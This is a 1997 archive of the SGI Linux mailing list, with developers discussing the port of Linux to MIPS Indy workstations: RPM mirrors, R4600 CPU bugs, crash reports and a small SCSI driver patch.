> > There is an nvi and a joe rpm on ftp.uk.linux.org as well as "ed".
> 
> And vim, and apache, and bash...  very cool.  I didn't know there were all
> thos packages there.
> 
> Does anyone have any objections if I put all those RPMs on
> ftp.linux.sgi.com ?  It would save folks from having to look in two
> places...

Good idea.  And we've got still a gig to fill :-)

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 11:40:21 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id LAA629398 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 11:40:20 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id LAA22440 for linux-list; Sat, 29 Nov 1997 11:36:43 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id LAA22432 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 11:36:32 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id LAA17748
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 11:36:28 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id OAA22270;
	Sat, 29 Nov 1997 14:33:22 -0500
Date: Sat, 29 Nov 1997 14:33:22 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
cc: ralf@uni-koblenz.de, linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
In-Reply-To: <Pine.LNX.3.95.971129124118.207K-100000@lager.engsoc.carleton.ca>
Message-ID: <Pine.LNX.3.95.971129142355.207N-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 369
Lines: 12


On Sat, 29 Nov 1997, Alex deVries wrote:
> Does anyone have any objections if I put all those RPMs on
> ftp.linux.sgi.com ?  It would save folks from having to look in two
> places...

Alright.  I'v put all the RPMs on ftp.linux.sgi.com. Where there were
overlaps in packages, I put the older version in the mips-linux/old
directory and I included the newer.

- Alex


From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 12:07:48 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id MAA630549 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 12:07:48 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id MAA25461 for linux-list; Sat, 29 Nov 1997 12:04:44 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id MAA25448 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 12:04:34 -0800
Received: from mdhill.tor.hookup.net (mdhill.tor.hookup.net [165.154.15.186]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id MAA20558
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 12:04:30 -0800
	env-from (mike@mdhill.tor.hookup.net)
Received: (from mike@localhost) by mdhill.tor.hookup.net (950413.SGI.8.6.12/950213.SGI.AUTOCF) id PAA01728 for linux@cthulhu.engr.sgi.com; Sat, 29 Nov 1997 15:03:48 -0500
From: "Michael Hill" <mike@mdhill.tor.hookup.net>
Message-Id: <9711291503.ZM1726@mdhill.tor.hookup.net>
Date: Sat, 29 Nov 1997 15:03:47 -0500
X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail)
To: linux@cthulhu.engr.sgi.com
Subject: Re: Problems with booting SGI/Linux
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 940
Lines: 30

>
> > :PROMLIB: SGI ARCS firmware Version1 Revision 10
> > :PROMLIB: Total free ram 31502336 bytes (...)
> > :ARCH: SGI-IP22
> > :CPU: MIPS-R4600 FPU<MIPS-R4600FPC> ICACHE DCACHE
> > :Loading R4000 MNV routines
> > :CPU revision is: 00002020
>                         ^^^^

Ditto (for the most part).

> That's a R4600 V2.0.  The kernel sources/binaries on Linus don't handle
> the silicon bugs of this beast correctly.  I fixed the problem this
> morning testing them on a SNI RM200.  For a proof of the test I compiled
> X a couple of times; the box now looks stable even under high load.  Will
> commit the bug fixes shortly.

This is a huge relief since I didn't know what to try next (haven't been able
to compile a kernel).  Ralf,  where can I access your committed bug fixes?  Any
chance of someone posting a compiled kernel incorporating these to
ftp.linux.sgi.com?

Thanks,

Mike

--
Michael Hill
Toronto, Canada
mdhill@hookup.net

From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 12:49:39 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id MAA630631 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 12:49:39 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id MAA28878 for linux-list; Sat, 29 Nov 1997 12:46:54 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id MAA28871 for <linux@engr.sgi.com>; Sat, 29 Nov 1997 12:46:53 -0800
Received: from home.axess.net (usr-34.syr.axess.net [205.247.138.234]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id MAA25900
	for <linux@engr.sgi.com>; Sat, 29 Nov 1997 12:46:47 -0800
	env-from (delznic@acm.org)
Received: from win95.axess.net ([192.168.4.69])
	by home.axess.net (8.8.5/8.8.5) with SMTP id PAA15618
	for <linux@engr.sgi.com>; Sat, 29 Nov 1997 15:46:32 -0500
Message-Id: <3.0.2.32.19971129153944.0072bc38@192.168.4.20>
X-Sender: delznic@192.168.4.20
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32)
Date: Sat, 29 Nov 1997 15:39:44 -0500
To: linux@cthulhu.engr.sgi.com
From: "Douglas F. Elznic" <delznic@acm.org>
Subject: Used Indys
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 336
Lines: 12

Hello,
 I am looking to get my hangs on a old cheap indy. I found a couple of
places on the web that catered to sell cheap sparcs but no indys. Any ideas?

--
Douglas F. Elznic
Email:
delznic@acm.org
Pager:
3154492502.2423685@pagenet.net
"The tree of liberty must be refreshed from time to time with the blood of
patriots and tyrants."

From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 20:31:14 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id UAA658892 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 20:31:14 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id UAA00688 for linux-list; Sat, 29 Nov 1997 20:24:03 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id UAA00684 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 20:24:01 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id UAA20962
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 20:23:59 -0800
	env-from (ralf@uni-koblenz.de)
From: ralf@uni-koblenz.de
Received: from uni-koblenz.de (ralf@pmport-24.uni-koblenz.de [141.26.249.24])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id FAA27582
	for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 05:23:57 +0100 (MET)
Received: (from ralf@localhost)
	by uni-koblenz.de (8.8.7/8.8.7) id BAA15206;
	Sun, 30 Nov 1997 01:25:56 +0100
Message-ID: <19971130012555.40529@uni-koblenz.de>
Date: Sun, 30 Nov 1997 01:25:55 +0100
To: Michael Hill <mike@mdhill.tor.hookup.net>
Cc: linux@cthulhu.engr.sgi.com
Subject: Re: Problems with booting SGI/Linux
References: <9711291503.ZM1726@mdhill.tor.hookup.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <9711291503.ZM1726@mdhill.tor.hookup.net>; from Michael Hill on Sat, Nov 29, 1997 at 03:03:47PM -0500
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1557
Lines: 37

On Sat, Nov 29, 1997 at 03:03:47PM -0500, Michael Hill wrote:

> > > :PROMLIB: SGI ARCS firmware Version1 Revision 10
> > > :PROMLIB: Total free ram 31502336 bytes (...)
> > > :ARCH: SGI-IP22
> > > :CPU: MIPS-R4600 FPU<MIPS-R4600FPC> ICACHE DCACHE
> > > :Loading R4000 MNV routines
> > > :CPU revision is: 00002020
> >                         ^^^^
> 
> Ditto (for the most part).
> 
> > That's a R4600 V2.0.  The kernel sources/binaries on Linus don't handle
> > the silicon bugs of this beast correctly.  I fixed the problem this
> > morning testing them on a SNI RM200.  For a proof of the test I compiled
> > X a couple of times; the box now looks stable even under high load.  Will
> > commit the bug fixes shortly.

Bad luck, my box is still not stable even though this bug has been fixed.

> This is a huge relief since I didn't know what to try next (haven't been able
> to compile a kernel).  Ralf,  where can I access your committed bug fixes?
> Any chance of someone posting a compiled kernel incorporating these to
> ftp.linux.sgi.com?

I'm working on it.  There are several issues that will take me a couple
of days to work them out.  My two main projects are

 - rebuilding RedHat 4.9.1 for big endian MIPS (like the Indy).  This is
   the most urgent part and I'm working (well, my Indy ...) on it.
 - my kernel tree has diverged significantly from what were publishing
   on Linus.  Have to merge them both.

You can usually get the bugfixes from the kernel sources/binaries available
on Linus.  The last one is a bit old, though ...

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 16:50:24 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id QAA615450 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 16:50:24 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id QAA15756 for linux-list; Sat, 29 Nov 1997 16:47:23 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id QAA15750 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 16:47:13 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id QAA22840
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 16:47:07 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id TAA05327
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 19:44:47 -0500
Date: Sat, 29 Nov 1997 19:44:47 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: linux@cthulhu.engr.sgi.com
Subject: A report from the battle field...
In-Reply-To: <19971128161417.23781@thoma.uni-koblenz.de>
Message-ID: <Pine.LNX.3.95.971129193017.26978E-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1481
Lines: 39


My machine is now almost fully self-hosting. It's an Indy with a 4600
version 2.0 CPU, running Mike's EFS kernel 2.1.55.

Okay, two significant bugs I'd like to report:

1. When I try to FTP a lot of files to it, it complains about "eth0: ".  I
guess it's just going too quick.  The file then becomes corrupt.  The
somewhat odd solution is for me to FTP the file over a slower network.
Instead of grabbing the file from the machine 30cm away, I grab it from
ftp.linux.sgi.com, and it's fine. Would someone by chance have a newer
precompiled kernel?

2. Execution errors on various programs:
- bash: 
do_page_fault() #2: sending SIGSEGV to bash for illegal readaccess
from 000000d0 (epc ==0fb676c0, ra == 0fb676a0)
- pico (part of pine):
do_page_fault() #2: sending SIGSEGV to pico for illegal readaccess from
from 000000d0 (epc ==0fb676c0, ra == 0fb676a0)
- mingetty: 
unix_gc: deferred due to low memory

All these binaries are from the RPMs.

And other things:
- /proc/cpuinfo says it's a blazing 137.63 Bogomips, but if feels about
like a 486-33. Perhaps this means nothing. Also, under "system type" it
says "You'd like to know unknown".  Let me tell you, I _know_ what it's
like to be unknown.
- when I try and do a control-alt-delete, it says that it's flushing the
cache, and that's it.

- Alex

      Alex deVries          Rent this space for a $5 donation 
  System Administrator      to EngSoc per day.
   The EngSoc Project       Send spam to spam@engsoc.carleton.ca.


From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 16:50:30 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id QAA645104 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 16:50:29 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id QAA15950 for linux-list; Sat, 29 Nov 1997 16:49:50 -0800
Received: from oz.engr.sgi.com (oz.engr.sgi.com [150.166.61.27]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id QAA15942; Sat, 29 Nov 1997 16:49:41 -0800
Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id QAA31814; Sat, 29 Nov 1997 16:49:41 -0800 (PST)
From: ariel@oz.engr.sgi.com (Ariel Faigon)
Message-Id: <199711300049.QAA31814@oz.engr.sgi.com>
Subject: Re: Used Indys
To: delznic@acm.org (Douglas F. Elznic)
Date: Sat, 29 Nov 1997 16:49:40 -0800 (PST)
Cc: linux@cthulhu.engr.sgi.com
In-Reply-To: <3.0.2.32.19971129153944.0072bc38@192.168.4.20> from "Douglas F. Elznic" at Nov 29, 97 03:39:44 pm
Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon)
Organization: Silicon Graphics Inc.
X-Mailer: ELM [version 2.4 PL24 ME5a]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 300
Lines: 14

:
:Hello,
: I am looking to get my hangs on a old cheap indy. I found a couple of
:places on the web that catered to sell cheap sparcs but no indys. Any ideas?
:
:
Check out:

	http://www.sgi.com/Products/sysrem/SysRem.html

and in any case, never buy a system with less than 64MB.

-- 
Peace, Ariel

From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 18:03:25 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id SAA646722 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 18:03:25 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA20123 for linux-list; Sat, 29 Nov 1997 17:59:03 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA20118 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 17:58:53 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA00840
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 17:58:52 -0800
	env-from (ralf@mailhost.uni-koblenz.de)
Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id CAA25214;
	Sun, 30 Nov 1997 02:58:51 +0100 (MET)
Received: by thoma (SMI-8.6/KO-2.0)
	id CAA14351; Sun, 30 Nov 1997 02:58:49 +0100
Message-ID: <19971130025848.64926@thoma.uni-koblenz.de>
Date: Sun, 30 Nov 1997 02:58:48 +0100
From: Ralf Baechle <ralf@uni-koblenz.de>
To: Alex deVries <adevries@engsoc.carleton.ca>
Cc: linux@cthulhu.engr.sgi.com
Subject: Re: A report from the battle field...
References: <19971128161417.23781@thoma.uni-koblenz.de> <Pine.LNX.3.95.971129193017.26978E-100000@lager.engsoc.carleton.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.84e
In-Reply-To: <Pine.LNX.3.95.971129193017.26978E-100000@lager.engsoc.carleton.ca>; from Alex deVries on Sat, Nov 29, 1997 at 07:44:47PM -0500
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1906
Lines: 54

On Sat, Nov 29, 1997 at 07:44:47PM -0500, Alex deVries wrote:
> 
> My machine is now almost fully self-hosting. It's an Indy with a 4600
> version 2.0 CPU, running Mike's EFS kernel 2.1.55.
> 
> Okay, two significant bugs I'd like to report:
> 
> 1. When I try to FTP a lot of files to it, it complains about "eth0: ".  I
> guess it's just going too quick.  The file then becomes corrupt.  The
> somewhat odd solution is for me to FTP the file over a slower network.
> Instead of grabbing the file from the machine 30cm away, I grab it from
> ftp.linux.sgi.com, and it's fine. Would someone by chance have a newer
> precompiled kernel?
> 
> 2. Execution errors on various programs:
> - bash: 
> do_page_fault() #2: sending SIGSEGV to bash for illegal readaccess
> from 000000d0 (epc ==0fb676c0, ra == 0fb676a0)
> - pico (part of pine):
> do_page_fault() #2: sending SIGSEGV to pico for illegal readaccess from
> from 000000d0 (epc ==0fb676c0, ra == 0fb676a0)

The new libc plus rebuilding the binary should fix this problem.

> - mingetty: 
> unix_gc: deferred due to low memory

Uh?  Never saw that one.

> All these binaries are from the RPMs.
> 
> And other things:
> - /proc/cpuinfo says it's a blazing 137.63 Bogomips, but if feels about
> like a 486-33. Perhaps this means nothing.

I think it's something with the console.  Similar the wd33c93 driver, it
gives me the same feeling as my Amiga running Linux 68k.  Well, a bit
better, but that driver seems a bit suspect.

> Also, under "system type" it
> says "You'd like to know unknown".  Let me tell you, I _know_ what it's
> like to be unknown.

I'll take a look at it.

> - when I try and do a control-alt-delete, it says that it's flushing the
> cache, and that's it.

I found that the ARC firmware of the Indy crashes when called with L2
cache enabled.  It's probably some similar problem.

What is the official way to reset the Indy?

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 23:05:14 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id XAA667178 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 23:05:14 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id WAA11256 for linux-list; Sat, 29 Nov 1997 22:58:05 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id WAA11236 for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 22:57:59 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id WAA10867
	for <linux@cthulhu.engr.sgi.com>; Sat, 29 Nov 1997 22:57:52 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id BAA29860
	for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 01:55:31 -0500
Date: Sun, 30 Nov 1997 01:55:31 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: linux@cthulhu.engr.sgi.com
Subject: RH 5.0 SRPMs...
In-Reply-To: <19971130012555.40529@uni-koblenz.de>
Message-ID: <Pine.LNX.3.95.971130015402.16765B-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 263
Lines: 12


They're available now:

ftp://ftp.engsoc.carleton.ca/pub/redhat-5.0/srpms/

- Alex

      Alex deVries          Rent this space for a $5 donation 
  System Administrator      to EngSoc per day.
   The EngSoc Project       Send spam to spam@engsoc.carleton.ca.



From owner-linux@cthulhu.engr.sgi.com  Sat Nov 29 23:20:18 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id XAA667103 for <linux-archive@neteng.engr.sgi.com>; Sat, 29 Nov 1997 23:20:18 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id XAA12341 for linux-list; Sat, 29 Nov 1997 23:11:49 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id XAA12330 for <linux@engr.sgi.com>; Sat, 29 Nov 1997 23:11:39 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id XAA12941
	for <linux@engr.sgi.com>; Sat, 29 Nov 1997 23:11:37 -0800
	env-from (ralf@uni-koblenz.de)
From: ralf@uni-koblenz.de
Received: from uni-koblenz.de (ralf@pmport-13.uni-koblenz.de [141.26.249.13])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id IAA00493
	for <linux@engr.sgi.com>; Sun, 30 Nov 1997 08:11:35 +0100 (MET)
Received: (from ralf@localhost)
	by uni-koblenz.de (8.8.7/8.8.7) id IAA00710;
	Sun, 30 Nov 1997 08:08:35 +0100
Message-ID: <19971130080835.57467@uni-koblenz.de>
Date: Sun, 30 Nov 1997 08:08:35 +0100
To: linux@cthulhu.engr.sgi.com, msalter@cygnus.com
Subject: Indy interrupt latencies & performance
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 721
Lines: 20

Hi,

five minutes starring at the wd33c93 driver solved the problem.  When
applying Linus' patches a superfluous disable_irq() was left over in
wd33c93.c:wd33c93_queuecommand().  Removing the line makes the box feel
like a computer again.  This should also explain the ultralong times
measured by Mark during which interrupt were disabled.  Patch appended below.

  Ralf

--- drivers/scsi/wd33c93.c.orig	Sun Nov 30 07:12:08 1997
+++ drivers/scsi/wd33c93.c	Sun Nov 30 07:53:27 1997
@@ -292,7 +292,6 @@
 	Scsi_Cmnd *tmp;
 	unsigned long flags;
 
-	disable_irq(cmd->host->irq);
 	DB(DB_QCMD,printk("Q-%d-%02x-%ld( ",cmd->target,cmd->cmnd[0],cmd->pid));
 
 	/* Set up a few fields in the Scsi_Cmnd structure for our own use:

From owner-linux@cthulhu.engr.sgi.com  Sun Nov 30 06:58:19 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id GAA691928 for <linux-archive@neteng.engr.sgi.com>; Sun, 30 Nov 1997 06:58:19 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id GAA17749 for linux-list; Sun, 30 Nov 1997 06:51:39 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id GAA17740 for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 06:51:26 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id GAA06352
	for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 06:51:25 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id OAA04060; Sun, 30 Nov 1997 14:50:59 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xcAil-0005FsC; Sun, 30 Nov 97 14:51 GMT
Message-Id: <m0xcAil-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: A report from the battle field...
To: adevries@engsoc.carleton.ca (Alex deVries)
Date: Sun, 30 Nov 1997 14:51:43 +0000 (GMT)
Cc: linux@cthulhu.engr.sgi.com
In-Reply-To: <Pine.LNX.3.95.971129193017.26978E-100000@lager.engsoc.carleton.ca> from "Alex deVries" at Nov 29, 97 07:44:47 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 976
Lines: 27

> 1. When I try to FTP a lot of files to it, it complains about "eth0: ".  I
> guess it's just going too quick.  The file then becomes corrupt.  The

Yep. Part of that however might be the ftp binary - ncftp I get
the eth0: errors but dont seem to get file corruption.

> 2. Execution errors on various programs:
> - bash: 
> do_page_fault() #2: sending SIGSEGV to bash for illegal readaccess
> from 000000d0 (epc ==0fb676c0, ra == 0fb676a0)
> - pico (part of pine):
> do_page_fault() #2: sending SIGSEGV to pico for illegal readaccess from
> from 000000d0 (epc ==0fb676c0, ra == 0fb676a0)

Link these static possibly. The bash stuff is working fine on my box however
the RPM maybe the one with readline in not the one I used. oops

> - mingetty: 
> unix_gc: deferred due to low memory

Miguel's kernel has this fixed (its a vmalloc thing)

> - when I try and do a control-alt-delete, it says that it's flushing the
> cache, and that's it.

I get a reboot about 1 in 3 times


From owner-linux@cthulhu.engr.sgi.com  Sun Nov 30 09:34:59 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id JAA700285 for <linux-archive@neteng.engr.sgi.com>; Sun, 30 Nov 1997 09:34:59 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id JAA00680 for linux-list; Sun, 30 Nov 1997 09:29:46 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id JAA00660 for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 09:29:39 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id JAA27512
	for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 09:29:37 -0800
	env-from (ralf@uni-koblenz.de)
From: ralf@uni-koblenz.de
Received: from uni-koblenz.de (ralf@pmport-10.uni-koblenz.de [141.26.249.10])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id SAA12314
	for <linux@cthulhu.engr.sgi.com>; Sun, 30 Nov 1997 18:29:24 +0100 (MET)
Received: (from ralf@localhost)
	by uni-koblenz.de (8.8.7/8.8.7) id RAA01489;
	Sun, 30 Nov 1997 17:29:19 +0100
Message-ID: <19971130172918.59762@uni-koblenz.de>
Date: Sun, 30 Nov 1997 17:29:18 +0100
